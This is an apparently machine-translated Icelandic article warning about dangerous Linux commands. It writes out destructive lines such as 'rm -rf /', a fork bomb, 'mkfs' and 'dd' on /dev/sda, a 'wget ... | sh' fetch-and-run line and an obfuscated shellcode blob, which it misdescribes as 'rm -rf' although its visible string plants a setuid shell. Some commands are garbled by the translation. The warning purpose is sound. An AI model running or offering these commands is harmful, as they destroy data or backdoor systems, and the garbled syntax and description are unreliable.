Hættulegustu skipanir - Þú ættir aldrei að framkvæma á Linux


Skipanalínuviðmótið er öflugt og handhægt tól til að stjórna Linux kerfi. Það veitir hraðvirka og fjölhæfa leið til að keyra kerfið, sérstaklega þegar stjórnað er höfuðlausum kerfum sem eru ekki með grafísku viðmóti.

Þó að hún sé gagnleg til að stjórna kerfinu þínu, þá er skipanalínan full af áhættu. Að keyra slæmar skipanir getur valdið skaða og óbætanlegum skaða á kerfinu þínu. Í þessari handbók höfum við tekið saman lista yfir nokkrar af áhættusamustu skipunum sem þú ættir ekki að hugsa um að framkvæma á kerfinu þínu.

1. rm -rf/Skipun

rm skipunin er Linux skipun sem notuð er til að eyða skrám og möppum eftir því hvaða rök eru notuð. Hins vegar skal gæta mikillar varúðar þegar rm skipunin er notuð þar sem lítilsháttar innsláttarvilla eða mistök geta leitt til óafturkræfra kerfisskemmda.

Þegar hún er keyrð sem rót með -rf / valmöguleikanum eyðir skipunin afturkvæmt öllum skrám og möppum á kerfinu þínu frá rótinni (/) sem er sú hæsta í Linux Uppbygging skráastigveldis. Í hnotskurn, rm -rf / skipunin eyðir kerfinu þínu algjörlega sem leiðir til bilaðs og óafturkallanlegs kerfis.

Sumir valkostir sem notaðir eru með rm skipuninni eru.

  • rm skipun í Linux er notuð til að eyða skrám.
  • rm -r skipunin eyðir möppunni endurtekið, jafnvel tómu möppunni.
  • rm -f skipunin fjarlægir „Read only File“ án þess að spyrja.
  • rm -rf/: Þvingaðu eyðingu á öllu í rótarskránni.
  • rm -rf * : Þvingaðu eyðingu á öllu í núverandi möppu/vinnuskrá.
  • rm -rf . : Þvingaðu eyðingu núverandi möppu og undirmöppum.

Reyndar, þegar þú keyrir skipunina sem venjulegur notandi færðu tvær viðvaranir á flugstöðinni.

Til að vinna bug á eyðingu skráa fyrir slysni með „rm“ skipuninni, búið til samnefni „rm“ skipunarinnar sem „rm -i“ í „.bashrc“ skránni, það mun biðja þig um að staðfesta hverja eyðingu.

2. :(){:|:&};: Skipun

Ofangreint er í rauninni gaffalsprengja. Það starfar með því að búa til aðgerð sem kallast :, sem kallar sig tvisvar, einu sinni í forgrunni og einu sinni í bakgrunni. Aðgerðin keyrir ítrekað og eyðir öllum kerfisauðlindum sem leiðir til kerfishruns.

Reyndar er gaffalsprengjaskipun í rauninni tegund af DoS (Denial-of-Service) árás. Það er einnig nefnt Wabbit eða Rabbit veira. Það versta er að þú þarft ekki að vera rót til að hefja þessa árás.

Sem betur fer geturðu varið þig frá þessari árás með því að takmarka fjölda ferla sem staðbundnir notendur keyra við um 4000.

Þú getur gert þetta með því að keyra skipunina:

$ ulimit -S -u 4000

Þú getur síðar staðfest þetta með skipuninni:

$ ulimit -u

3. skipun > /dev/sda

Að keyra skipun á eftir >/dev/sda skrifar yfir /dev/sda blokkina á harða disknum þínum. Þessi blokk inniheldur skráarkerfisgögn og þegar hún er yfirskrifuð veldur það skemmdu kerfi sem er óafturkallanlegt.

4. mv mappa /dev/null

Önnur skaðleg aðgerð sem þú ættir ekki að reyna er að færa möppu eða skrá í /dev/null. /dev/null skráin er sérstök tegund af skrá sem kallast núll tækið eða „svartholið“. Öllu sem er fært í /dev/null er hent og eytt.

Eftirfarandi skipun færir allt innihald heimamöppu notandans yfir í /dev/null og fleygir þar af leiðandi öllum gögnum sem eru í heimaskrá notandans

# mv /home/user/* /dev/null

5. wget http://malicious_source -O- | sh

Wget skipunin er skipun sem hleður niður skrám af vef eða skráaþjóni. Ofangreind skipun hleður niður skriftu frá skaðlegum uppruna og keyrir það síðan.

6. mkfs.ext3 /dev/sda

Mkfs skipunin býr til nýtt skráarkerfi (annaðhvort ext2, ext3, ext4, osfrv.) á forsniðnu geymslutæki, í flestum tilfellum skipting á harða disknum. Að keyra mkfs skipunina á skipting þurrkar út öll gögn sem eru geymd í henni.

Þó það sé gagnlegt við að forsníða disksneið, þá hrynur kerfið þegar það er forsniðið á heilu drifi (eins og mkfs.ext3 /dev/sda) og það er óafturkallanlegt. Þetta gerist vegna þess að það eyðir öllum kerfisskrám ásamt persónulegum gögnum þínum.

Skipunin getur einnig tekið á sig önnur form eins og sýnt er hér að neðan.

# mkfs.ext4 /dev/sda
# mkfs.xfs /dev/sda
# mkfs.btrfs /dev/sda

7. > skrá Skipun

> skráin þurrkar út innihald skráar og skilur það eftir autt. Það er samheiti við cat /dev/null > skráarskipunina. Þess vegna ætti að gæta varúðar þegar tilvísunartækin eru notuð í Linux kerfi.

Hér að neðan er sýnt hvernig þessi skipun skrifar yfir textaskrá. Þú getur ímyndað þér hörmungina sem þessi skipun myndi valda þegar skráin sem um ræðir er stillingarskrá.

8. ^foo^bar

Skipunin ^foo^bar er jafn hættuleg og hún er gagnleg eftir því hvernig hún er framkvæmd. Þó að það gerir þér kleift að breyta áður framkvæmdum skipunum og framkvæma þær aftur, getur það verið hörmulegt ef þú hefur ekki áhuga á breytingunum sem gerðar eru á skipunum áður en þú keyrir þær.

9. dd ef=/dev/random of=/dev/sda

Ofangreind skipun þurrkar út /dev/sda blokkina og skrifar tilviljunarkennd ruslgögn í blokkina. Kerfið þitt yrði skilið eftir á ósamkvæmu og óendurheimtanlegu stigi.

10. Chmod -R 777 /

Þó að Linux kerfið þitt hrynji kannski ekki strax, þá úthlutar skipunin chmod -R 777 / endurtekið allar heimildir (lesa, skrifa og keyra) öllum skrám á Linux kerfinu þínu frá rótinni.

Þetta afhjúpar í raun allar mikilvægar stillingarskrár og aðrar skrár fyrir alla notendur og þetta skapar mikla öryggisáhættu fyrir kerfið þitt. Hver sem er með illgjarn ásetning getur fiktað við mikilvægar skrár og auðveldlega brotið kerfið þitt.

11. Falda skipunin

Skipunin fyrir neðan er ekkert nema fyrsta skipunin fyrir ofan (rm -rf). Hér eru kóðarnir faldir í hex svo fáfróður notandi gæti látið blekkjast. Að keyra kóðann hér að neðan í flugstöðinni þinni mun þurrka rótarskiptingu þína.

Þessi skipun hér sýnir að ógnin gæti verið falin og venjulega ekki greinanleg stundum. Þú verður að vera meðvitaður um hvað þú ert að gera og hver niðurstaðan yrði. Ekki safna saman/keyra kóða frá óþekktum uppruna.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Athugið: Ekki framkvæma neina af ofangreindum skipunum í Linux flugstöðinni þinni eða skel eða á vini þínum eða skólatölvu. Ef þú vilt prófa þá skaltu keyra þá á sýndarvél.

Sérhvert ósamræmi eða tap á gögnum, vegna framkvæmdar ofangreindrar skipunar mun brjóta niður kerfið þitt sem hvorki höfundur greinarinnar né Tecmint er ábyrgur fyrir.

Það er allt í bili. Ég mun bráðum vera hér aftur með aðra áhugaverða grein sem þú munt elska að lesa. Þangað til Fylgstu með og tengdu við Tecmint.

Ef þú þekkir einhverjar aðrar slíkar hættulegar Linux skipanir og þú vilt að við bætum þeim á listann, vinsamlegast segðu okkur í gegnum athugasemdahlutann og ekki gleyma að gefa dýrmæt endurgjöf.